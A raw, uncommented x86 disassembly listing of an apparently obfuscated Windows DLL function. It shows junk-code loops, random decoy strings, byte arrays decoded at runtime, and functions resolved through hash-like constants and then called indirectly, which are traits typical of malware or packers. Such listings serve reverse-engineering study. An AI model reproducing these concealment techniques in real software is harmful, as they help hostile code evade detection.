mov eax, dword [ebp - 0x1a8]
cmp eax, 5
setl cl
xor edx, edx
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
cmp eax, 1
mov eax, dword [ebp - 0x34]
setg dl
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x18], ecx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 6
jge 0x1002ccac
push dword [ebp + 0x10]
xor eax, eax
lea edi, [ebp - 0x294]
push dword [ebp + 0xc]
stosd dword es:[edi], eax
lea ecx, [ebp - 0x18c]
push dword [ebp + 8]
push dword [ebp - 0x188]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
call fcn.1002e6ae
push ebx
push 0xa780
push 0xbb96
call fcn.1002404b
pop ecx
pop ecx
call eax
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x18], 0x930509b9
mov dword [ebp - 0x28], 0x9c010580
mov dword [ebp - 0x1c], ebx
jmp 0x1002cdd6
push ecx
push ebx
push 0x4260
mov edx, 0x4aeb
call fcn.1002ba8b
add esp, 0xc
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x17
jle 0x1002cdbf
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], 0xffffffe3
jl 0x1002cf41
mov dword [ebp - 0x20], 0x66a92721
mov dword [ebp - 0x28], 0x45a8
cmp dword [ebp - 0x28], 0x4688
jle 0x1002ce49
mov edi, ebx
mov esi, ebx
mov ecx, esi
mov eax, edi
sar eax, cl
lea ecx, [ebp - 0x4c4]
cdq
push edx
push eax
call fcn.10001aa4
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002ce22
mov eax, dword [eax]
push eax
call fcn.10043cef
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4c4]
call fcn.10003c79
inc esi
cmp esi, 0x290a
jl 0x1002ce04
inc edi
cmp edi, 0x1d08
jl 0x1002ce02
mov dword [ebp - 0x14], 0x9f486485
cmp dword [ebp - 0x28], 0x44ef
jge 0x1002ce64
push str.yrsdmwry_kfqqaqtqi_pibaa_nnmyo_pdhqqh
call fcn.10043cef
pop ecx
mov dword [ebp - 4], 0xf
mov dword [ebp - 0x30], 0xf1e2
mov dword [ebp - 0x14], ebx
jmp 0x1002ce88
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x220], 0x1f9531de
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 1
jl 0x1002ce77
cmp dword [ebp - 0x20], ebx
jne 0x1002cedb
mov ecx, dword [ebp - 0x20]
xor edx, edx
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x24]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x24]
mov edx, dword [ebp - 0x20]
setg cl
mov dword [ebp - 0x34], ecx
xor ecx, ecx
cmp eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x20]
setg cl
sub edx, ecx
xor ecx, ecx
cmp edx, eax
setne cl
sub ecx, dword [ebp - 0x1c]
add ecx, 9
cmp ecx, dword [ebp - 0x1c]
jg 0x1002ced7
cmp dword [ebp - 0x20], ebx
jne 0x1002cedb
mov eax, ebx
jmp 0x1002cede
xor eax, eax
inc eax
imul eax, eax, 0x6a9d
xor ecx, ecx
sub eax, dword [ebp - 0x1c]
cmp eax, 0x7c2f5a26
mov eax, dword [ebp - 0x20]
setl cl
xor edx, edx
cmp ecx, 0x39281c1d
setg dl
xor ecx, ecx
cmp eax, edx
setne cl
xor edx, edx
neg ecx
mov dword [ebp - 0x14], ecx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
setg dl
xor ecx, ecx
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x30]
mov edx, dword [ebp - 0x28]
sub edx, eax
mov eax, dword [ebp - 0x18]
cmp edx, eax
setg cl
mov dword [ebp - 0x220], ecx
dec dword [ebp - 0x1c]
jmp 0x1002cddf
mov dword [ebp - 0x1c], 9
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x24], 0x8a038aa1
mov dword [ebp - 0x34], 0x83eb3d01
mov dword [ebp - 0x18], ebx
jmp 0x1002cf73
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x174], 0x9b7928f
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 1
jl 0x1002cf62
mov dword [ebp - 0x18], ebx
jmp 0x1002cf8f
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x2d0], 0xfffffff8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x1002cf7e
mov dword [ebp - 0x1c], ebx
jmp 0x1002d140
mov dword [ebp - 0x14], 0xfffe
mov dword [ebp - 0x34], 0x57e71f09
mov dword [ebp - 0x30], 7
mov dword [ebp - 0x2c], 4
mov dword [ebp - 0x28], 0xfffffffd
mov dword [ebp - 0x18], ebx
jmp 0x1002cfd6
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x160], 1
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 1
jl 0x1002cfc5
mov dword [ebp - 0x18], ebx
jmp 0x1002cff2
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1d8], 0x94a61bf0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x1002cfe1
mov ecx, dword [ebp - 0x28]
xor edx, edx
mov dword [ebp - 0x174], ecx
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
sete dl
sub edx, 9
inc dword [ebp - 0x20]
cmp eax, edx
jl 0x1002d01d
xor esi, esi
inc esi
jmp 0x1002d01f
mov esi, ebx
inc dword [ebp - 0x14]
xor edx, edx
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
sub ecx, eax
cmp ecx, esi
mov dword [ebp - 0x160], ecx
mov eax, dword [ebp - 0x1c]
sete dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setle cl
cmp ecx, 0xfffffffd
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setle cl
mov dword [ebp - 0x1d8], ecx
mov eax, dword [ebp - 0x1d8]
mov dword [ebp - 0x1d8], eax
test eax, eax
je 0x1002d06b
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x174], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x160]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x174]
cmp dword [ebp - 0x2c], 0x3e74cda
jge 0x1002d09b
cmp dword [ebp - 0x1d8], ebx
jne 0x1002d09b
mov edx, ebx
jmp 0x1002d09e
xor edx, edx
inc edx
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov eax, dword [ebp - 0x20]
cmp edx, eax
mov eax, dword [ebp - 0x1c]
setne cl
sub ecx, 0x4908
neg ecx
push 0
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x20]
pop ecx
setl dl
sub edx, 0xfff8
neg edx
sbb edx, edx
inc edx
sub edx, eax
mov dword [ebp - 0x2c8], edx
mov eax, dword [ebp - 0x34]
sete cl
xor edx, edx
cmp ecx, eax
setne dl
xor eax, eax
sub edx, dword [ebp - 0x1c]
cmp edx, 0xfffffff6
setge al
xor edx, edx
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
setne dl
add edx, dword [ebp - 0x20]
mov dword [ebp - 0x160], edx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x24], ebx
jne 0x1002d121
mov eax, dword [ebp - 0x2c8]
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2cc]
cmp eax, 0x9f1f6a35
setne cl
mov dword [ebp - 0x34], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xb
jge 0x1002cf9d
push ebx
push 1
push 0x25cb
push 0xe77
lea edx, [ebp - 0x344]
mov cl, 1
call fcn.1002bb83
add esp, 0x10
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x2c], 0xffff
mov dword [ebp - 0x18], ebx
push 3
pop ecx
jmp 0x1002d186
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x2dc], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002d179
mov dword [ebp - 0x18], ebx
jmp 0x1002d19d
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x1d0], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002d190
mov dword [ebp - 0x1d0], 2
cmp dword [ebp - 0x1d0], ebx
jl 0x1002d259
mov dword [ebp - 0x20], 0x260417be
mov eax, dword [ebp - 0x1d0]
cmp dword [ebp + eax*4 - 0x2dc], ebx
jne 0x1002d259
mov dword [ebp - 0x20], 2
cmp dword [ebp - 0x20], ebx
jl 0x1002d24d
xor ecx, ecx
mov dword [ebp - 0x14], 0xfffffffb
inc ecx
mov dword [ebp - 0x2c], 0x20b50f6b
mov dword [ebp - 0x34], ecx
cmp dword [ebp - 0x20], ebx
jne 0x1002d21c
mov dword [ebp - 0x14], 0xda0bdbd
cmp dword [ebp - 0x14], ebx
jne 0x1002d21c
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2dc]
mov eax, dword [ebp - 0x1cc]
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], ebx
jne 0x1002d21c
mov ecx, ebx
mov dword [ebp - 0x2c], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x2c]
cmp eax, 0x66d8ff8c
mov eax, dword [ebp - 0x1d0]
setl cl
sub ecx, dword [ebp + eax*4 - 0x2dc]
neg ecx
sbb ecx, ecx
neg ecx
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x34], eax
dec dword [ebp - 0x20]
jns 0x1002d1de
dec dword [ebp - 0x1d0]
jns 0x1002d1b8
push 0x36fa
push 1
lea eax, [ebp - 0x51]
mov byte [ebp - 0x51], bl
push eax
push 0x2f21
mov dl, 1
xor cl, cl
call fcn.1002b87a
add esp, 0x10
mov dword [ebp - 0x158], 0x1c153f09
mov ecx, ebx
mov dword [ebp - 0x154], 0x7d247401
mov word [ebp - 0x150], 0xc0c
mov byte [ebp - 0x14e], 0xa
push 0x2d
pop eax
push 2
mov byte [ebp - 0x14d], bl
mov word [ebp - 0x14c], 0x7011
mov byte [ebp - 0x14a], bl
mov dword [ebp - 0x149], 0x1d56183f
mov dword [ebp - 0x145], 0x5b650319
mov dword [ebp - 0x141], 0x100d20e9
mov dword [ebp - 0x13d], 0xf750208
mov dword [ebp - 0x139], 0x5090375
mov dword [ebp - 0x135], 0x1c742309
mov word [ebp - 0x131], 0x1975
mov byte [ebp - 0x12f], bl
mov dword [ebp - 0x12e], 0x751e030b
mov dword [ebp - 0x12a], 0x76087412
mov word [ebp - 0x126], 0x690e
mov byte [ebp - 0x124], 0x13
mov byte [ebp - 0x123], bl
mov dword [ebp - 0x122], 0xe0d1a1f
mov dword [ebp - 0x11e], 0x914091a
mov byte [ebp - 0x11a], 0x22
mov byte [ebp - 0x119], bl
mov dword [ebp - 0x118], 0xe070f21
mov dword [ebp - 0x114], 0x75160c17
mov dword [ebp - 0x110], 0x4d063c25
mov word [ebp - 0x10c], 0x7304
mov byte [ebp - 0x10a], 0x1b
mov byte [ebp - 0x109], bl
mov word [ebp - 0x50e], ax
pop esi
mov dword [ebp - 0x168], ecx
cmp esi, 0x14
jne 0x1002d3a3
push 4
pop ecx
push 0x16
mov dword [ebp - 0x168], ecx
pop esi
jmp 0x1002d3f1
movzx edx, byte [ebp + esi - 0x157]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x15a]
movzx eax, word [ebp + eax*2 - 0x520]
mov ecx, eax
and eax, edx
or ecx, edx
sub ecx, eax
movzx eax, byte [ebp + esi - 0x158]
mov word [ebp + eax*2 - 0x520], cx
lea eax, [ebp - 0x168]
push eax
push ebx
mov ecx, 0x6456
call fcn.1002b45c
pop ecx
pop ecx
mov ecx, dword [ebp - 0x168]
add esi, 2
cmp esi, 0x50
jb 0x1002d390
xor eax, eax
mov word [ebp - 0x4d4], ax
mov dword [ebp - 0x20], 4
mov dword [ebp - 0x14], 0x5959
cmp dword [ebp - 0x14], 0x5b7d
jle 0x1002d49d
push 0x1be
push ebx
call dword [sym.imp.USER32.dll_CharLowerBuffW]
mov eax, ebx
mov dword [ebp - 0x28], ebx
mov ecx, eax
mov dword [ebp - 0x2c], 0x27f6
mov dword [ebp - 0x24], ecx
mov edi, ebx
mov esi, ebx
mov eax, esi
xor eax, edi
xor eax, ecx
lea ecx, [ebp - 0x404]
cdq
push edx
push eax
call fcn.10001aa4
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002d45c
mov eax, dword [eax]
push eax
call fcn.10043cef
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x404]
call fcn.10003c79
mov ecx, dword [ebp - 0x24]
inc esi
cmp esi, 0x4427
jl 0x1002d43e
inc edi
cmp edi, 0x34f7
jl 0x1002d43c
dec ecx
dec dword [ebp - 0x2c]
mov dword [ebp - 0x24], ecx
jne 0x1002d43a
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp eax, 0x733e
jl 0x1002d42e
mov eax, 0x6ca2cb51
mov dword [ebp - 0x23c], eax
mov dword [ebp - 0x238], eax
mov dword [ebp - 0x234], eax
mov dword [ebp - 0x230], eax
cmp dword [ebp - 0x14], 0x5602
jge 0x1002d4ce
push str.iuhn_kxdfpzop_jeudsb_vtwdzaj_ikruxgwq
call fcn.10043cef
pop ecx
mov dword [ebp - 4], 0xf
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], 0x18
jle 0x1002d5dd
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], 3
jg 0x1002d5d5
mov dword [ebp - 0x24], 0x86bd085
mov dword [ebp - 0x24], 3
cmp dword [ebp - 0x24], ebx
jl 0x1002d5cd
mov byte [ebp - 0x35], bl
cmp byte [ebp - 0x35], 0
je 0x1002d52f
push 0xd64
push 1
mov dl, 1
push 0x119d
push 0x2b1e
mov cl, dl
call fcn.1002b87a
add esp, 0x10
mov dword [ebp - 0x2c], 0xa1e
cmp dword [ebp - 0x2c], 0xd96
jle 0x1002d5a1
mov eax, ebx
mov dword [ebp - 0x18], ebx
mov edi, ebx
mov ecx, edi
mov esi, ebx
sar eax, cl
mov dword [ebp - 0x34], eax
xor eax, esi
lea ecx, [ebp - 0x428]
cdq
push edx
push eax
call fcn.10001aa4
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002d569
mov eax, dword [eax]
push eax
call fcn.10043cef
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x428]
call fcn.10003c79
mov eax, dword [ebp - 0x34]
inc esi
cmp esi, 0x3ab4
jl 0x1002d54f
mov eax, dword [ebp - 0x18]
inc edi
cmp edi, 0x765e
jl 0x1002d546
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 0x301
jl 0x1002d544
push ecx
mov cl, 1
call fcn.1002b90a
cmp dword [ebp - 0x2c], 0x8ea
pop ecx
jge 0x1002d5be
push str.uget_twteu_kjy_tsxyisr
call fcn.10043cef
pop ecx
mov dword [ebp - 4], 0xf
dec dword [ebp - 0x24]
jmp 0x1002d500
inc dword [ebp - 0x14]
jmp 0x1002d4e8
inc dword [ebp - 0x20]
jmp 0x1002d4d8
push 1
call fcn.1002b94c
xor eax, eax
mov dword [ebp - 0x2b0], 7
pop ecx
mov word [ebp - 0x2c4], ax
lea ecx, [ebp - 0x2c4]
lea eax, [ebp - 0x520]
mov dword [ebp - 0x2b4], ebx
push eax
call fcn.10003d65
mov byte [ebp - 4], 0x16
mov dword [ebp - 0x2c], 0x389a
cmp dword [ebp - 0x2c], 0x3b1a
jle 0x1002d66b
mov edi, ebx
mov esi, ebx
mov eax, esi
lea ecx, [ebp - 0x4ac]
and eax, edi
cdq
push edx
push eax
call fcn.10001aa4
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002d644
mov eax, dword [eax]
push eax
call fcn.10043cef
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x4ac]
call fcn.10003c79
inc esi
cmp esi, 0x4a88
jl 0x1002d628
inc edi
cmp edi, 0x4397
jl 0x1002d626
mov dword [ebp - 0x20], 0x15fb26c4
cmp dword [ebp - 0x2c], 0x35f0
jge 0x1002d686
push str.vjs_btaqlxfyu_ywfigk_zbgdtmxz_gtzdgogt_spuur_mroxl_whrp_drkgn
call fcn.10043cef
pop ecx
mov dword [ebp - 4], 0x16
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x2c], 0xfffffffb
push 2
mov dword [ebp - 0x2c], 0x6b3883fa
mov dword [ebp - 0x18], ebx
pop ecx
jmp 0x1002d6b4
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x5c], 3
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002d6a6
mov dword [ebp - 0x18], ebx
jmp 0x1002d6cf
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x34c], 0xfffffffa
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1002d6be
cmp dword [ebp - 0x5c], ebx
je 0x1002d76e
mov eax, dword [ebp - 0x5c]
xor ecx, ecx
inc ecx
sub eax, 0xfffffffb
add eax, ecx
mov ecx, 0xfffb
neg eax
sbb eax, eax
inc eax
shl eax, 2
cmp ecx, eax
mov eax, dword [ebp - 0x5c]
sbb ecx, ecx
inc ecx
add eax, ecx
mov ecx, dword [ebp - 0x5c]
imul ecx, eax
mov eax, dword [ebp - 0x20]
sub ecx, eax
cmp ecx, 1
jbe 0x1002d71e
cmp dword [ebp - 0x5c], ebx
je 0x1002d71e
cmp dword [ebp - 0x58], ebx
je 0x1002d71e
xor ecx, ecx
inc ecx
jmp 0x1002d720
mov ecx, ebx
mov eax, dword [ebp - 0x5c]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x20]
sete dl
xor ecx, ecx
sub edx, eax
mov eax, dword [ebp - 0x20]
cmp edx, eax
setg cl
xor edx, edx
imul ecx, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x5c]
imul ecx, ecx, 3
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setne dl
imul eax, edx
neg eax
je 0x1002d75e
cmp dword [ebp - 0x58], ebx
je 0x1002d75e
xor eax, eax
inc eax
jmp 0x1002d760
mov eax, ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x20]
xor eax, eax
inc eax
jmp 0x1002d770
mov eax, ebx
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ebx
jne 0x1002d781
cmp dword [ebp - 0x20], ebx
jne 0x1002d781
mov eax, ebx
jmp 0x1002d784
xor eax, eax
inc eax
mov dword [ebp - 0x2c], eax
lea edi, [ebp - 0x520]
mov ecx, dword [ebp - 0x5c]
xor edx, edx
mov eax, dword [ebp - 0x2c]
cmp eax, ecx
push 0x13
setne dl
mov dword [ebp - 0x2c], edx
xor edx, edx
mov ecx, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x2c]
cmp eax, ecx
pop ecx
setle dl
xor eax, eax
rep stosd dword es:[edi], eax
mov dword [ebp - 0x34c], edx
stosw word es:[edi], ax
mov dword [ebp - 0x18], 0x2ba39464
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x14], ebx
jmp 0x1002d7dd
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x25c], 0x10c9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1002d7cc
mov dword [ebp - 0x18], 3
cmp dword [ebp - 0x18], ebx
jl 0x1002d880
push 0x4b5c
push ecx
push ecx
mov byte [ebp - 0x4a], bl
lea ecx, [ebp - 0x4a]
xor dl, dl
call fcn.1002b4be
mov eax, dword [ebp - 0x18]
add esp, 0xc
mov eax, dword [ebp + eax*4 - 0x25c]
mov eax, dword [ebp - 0x18]
imul eax, dword [ebp + eax*4 - 0x25c], 0x1e27c
test eax, eax
je 0x1002d832
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x25c], ebx
jne 0x1002d837
cmp dword [ebp - 0x18], ebx
je 0x1002d844
cmp dword [ebp - 0x258], ebx
je 0x1002d844
xor edx, edx
inc edx
jmp 0x1002d846
mov edx, ebx
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x25c]
cmp edx, eax
mov eax, dword [ebp - 0x254]
setl cl
xor edx, edx
imul ecx, ecx, 0xfffa
cmp eax, ecx
mov eax, dword [ebp - 0x18]
setl dl
xor ecx, ecx
cmp edx, eax
setg cl
mov dword [ebp - 0x34], ecx
dec dword [ebp - 0x18]
jns 0x1002d7f3
mov dword [ebp - 0x2c], 0x2186
cmp dword [ebp - 0x2c], 0x24c5
jle 0x1002d8b7
mov esi, ebx
mov edi, ebx
mov eax, edi
mov ecx, 0x10073e78
xor eax, esi
cdq
push edx
push eax
call fcn.1000383a
inc edi
cmp edi, 0x230c
jl 0x1002d894
inc esi
cmp esi, 0x2e3a
jl 0x1002d892
mov byte [ebp - 4], 0x19
cmp dword [ebp - 0x2c], 0x1fe0
jge 0x1002d8f1
mov edx, str.faybaalu_kae_yuwjdsb_affd_dpgdqo_zthwsq
mov ecx, 0x10073e78
call fcn.100059c3
jmp 0x1002d8f1
mov dword [ebp - 4], 0x16
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x20], 0xb9e9d60a
push 5
mov dword [ebp - 0x2c], 0xee973417
pop ecx
mov dword [ebp - 0x14], ebx
jmp 0x1002d926
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x2fc], 0xe93d
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x1002d915
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], 7
jne 0x1002da19
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], 1
mov dword [ebp - 0x28], 0xb3b
cmp dword [ebp - 0x28], 0xb83
jle 0x1002d9a0
mov edi, ebx
mov esi, ebx
mov eax, edi
lea ecx, [ebp - 0x458]
cdq
idiv esi
mov eax, edx
cdq
push edx
push eax
call fcn.10001aa4
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1002d979
mov eax, dword [eax]
push eax
call fcn.10043cef
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x458]
call fcn.10003c79
inc esi
cmp esi, 0x5831
jl 0x1002d95a
inc edi
cmp edi, 0x2c49
jl 0x1002d958
mov ecx, dword [ebp - 0x2fc]
xor edx, edx
mov eax, dword [ebp - 0x18]
cmp eax, ecx
setl dl
mov dword [ebp - 0x20], edx
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x2c]
sub ecx, 0xf934f545
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
setle dl
xor ecx, ecx
sub edx, 0x348f
imul edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x18]
cmp eax, edx
setle cl
imul ecx, dword [ebp - 0x18]
test ecx, ecx
jne 0x1002da1e
cmp dword [ebp - 0x2fc], ebx
jne 0x1002da1e
mov dword [ebp - 0x18], ebx
jmp 0x1002da0b
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x2fc], 3
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1002d9fa
cmp dword [ebp - 0x2fc], ebx
je 0x1002da58
mov dword [ebp - 0x1c], ebx
jmp 0x1002da99
mov dword [ebp - 0x14], ebx
jmp 0x1002da30
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x304], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1002da23
mov dword [ebp - 0x20], 0xfffffffa
jmp 0x1002da52
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x30], eax
push ebx
call fcn.1002bab4
inc dword [ebp - 0x20]
pop ecx
cmp dword [ebp - 0x20], 0x18
jg 0x1002da3f
cmp dword [ebp - 0x28], 0x943
jge 0x1002da6c
push str.jwl_rru_netsck_pnr_euzspgdqd_ralpsz_wbc_geylka_xchjrf_glgw_hlbvxayk_jjarmertb_cvwcb_gkka
call fcn.10043cef
pop ecx
mov dword [ebp - 4], 0x16
mov eax, dword [ebp - 0x18]
inc dword [ebp - 0x1c]
push 5
pop ecx
jmp 0x1002d92f
lea eax, [ebp - 0x52]
mov byte [ebp - 0x52], bl
push eax
push 1
mov edx, 0x3a8e
call fcn.1002b980
inc dword [ebp - 0x1c]
pop ecx
pop ecx
cmp dword [ebp - 0x1c], 0x19
jg 0x1002da81
push 0xfffffffffffffffe
pop eax
mov dword [ebp - 0x23c], eax
mov dword [ebp - 0x238], eax
mov dword [ebp - 0x234], eax
mov dword [ebp - 0x230], eax
mov dword [ebp - 0x24], 0xe97eede0
mov dword [ebp - 0x24], 3
cmp dword [ebp - 0x24], ebx
jl 0x1002dae8
push 1
lea eax, [ebp - 0x53]
mov byte [ebp - 0x53], bl
push 0x2d43
push eax
call fcn.1002b85b
add esp, 0xc
dec dword [ebp - 0x24]
jns 0x1002dacd
push 1
push 1
push 0x329e
push 0x6633
mov edx, 0x38a4
xor cl, cl
call fcn.1002bb83
add esp, 0x10
mov dword [ebp - 0x108], 0x402fd16
mov ecx, ebx
mov dword [ebp - 0x104], 0x423701e
mov dword [ebp - 0x100], 0x1c187310
mov dword [ebp - 0xfc], 0x75156b01
push 0x32
pop eax
push 2
mov dword [ebp - 0xf8], 0x14201e0e
mov dword [ebp - 0xf4], 0x7606091a
mov dword [ebp - 0xf0], 0x1d097605
mov dword [ebp - 0xec], 0x4c075025
mov dword [ebp - 0xe8], 0x7a0a720b
mov dword [ebp - 0xe4], 0x76220d24
mov byte [ebp - 0xe0], bl
mov dword [ebp - 0xdf], 0xf4b2139
mov dword [ebp - 0xdb], 0x8d2d0401
mov dword [ebp - 0xd7], 0x20d6e59
mov dword [ebp - 0xd3], 0x731b0319
mov dword [ebp - 0xcf], 0x7b040114
mov dword [ebp - 0xcb], 0x40c0a12
mov dword [ebp - 0xc7], 0x208031d
mov dword [ebp - 0xc3], 0x7517061c
mov dword [ebp - 0xbf], 0x7d117c1f
mov dword [ebp - 0xbb], 0x69036913
mov word [ebp - 0x544], ax
pop esi
mov dword [ebp - 0x170], ecx
cmp esi, 0x2e
jne 0x1002dbfb
push 5
pop ecx
push 0x31
mov dword [ebp - 0x170], ecx
pop esi
jmp 0x1002dc4f
movzx edx, byte [ebp + esi - 0x107]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x10a]
movzx ecx, word [ebp + eax*2 - 0x570]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x108]
add ecx, edx
mov dl, 1
mov word [ebp + eax*2 - 0x570], cx
lea eax, [ebp - 0x170]
push eax
push ecx
push ecx
mov ecx, 0x516f
call fcn.1002b4be
mov ecx, dword [ebp - 0x170]
add esp, 0xc
add esi, 2
cmp esi, 0x51
jb 0x1002dbe8
xor eax, eax
mov dword [ebp - 0x298], 7
mov word [ebp - 0x524], ax
lea ecx, [ebp - 0x2ac]
mov word [ebp - 0x2ac], ax
lea eax, [ebp - 0x570]
push eax
mov dword [ebp - 0x29c], ebx
call fcn.10003d65
push 0x13
pop ecx
xor eax, eax
mov byte [ebp - 4], 0x1d
cmp dword [ebp - 0x2b0], 8
lea edi, [ebp - 0x570]
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x3b4]
mov esi, 0xa780
push ecx
stosw word es:[edi], ax
lea eax, [ebp - 0x2c4]
cmovae eax, dword [ebp - 0x2c4]
mov edi, 0xaad9
push eax
push esi
push edi
call fcn.1002404b
pop ecx
pop ecx
call eax
test eax, eax
jne 0x1002e272
cmp dword [ebp - 0x298], 8
lea ecx, [ebp - 0x394]
push ecx
lea eax, [ebp - 0x2ac]
cmovae eax, dword [ebp - 0x2ac]
push eax
push esi
push edi
call fcn.1002404b
pop ecx
pop ecx
call eax
test eax, eax
jne 0x1002e272
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x3b4]
push eax
push 3
push ebx
lea eax, [ebp - 0x394]
push eax
push esi
push 0x7bfb
call fcn.1002404b
pop ecx
pop ecx
call eax
test eax, eax
js 0x1002e272
cmp dword [ebp - 0x40], 0
je 0x1002e272
push ebx
push ecx
lea edx, [ebp - 0x378]
mov ecx, 0x60de
call fcn.1002b63f
pop ecx
pop ecx
push 0x65
pop ecx
xor eax, eax
mov dword [ebp - 0x74], 0x11023f01
push 2
mov word [ebp - 0x370], ax
mov edi, ebx
mov al, 1
mov word [ebp - 0x70], 0x1c02
mov byte [ebp - 0x6e], 0x87
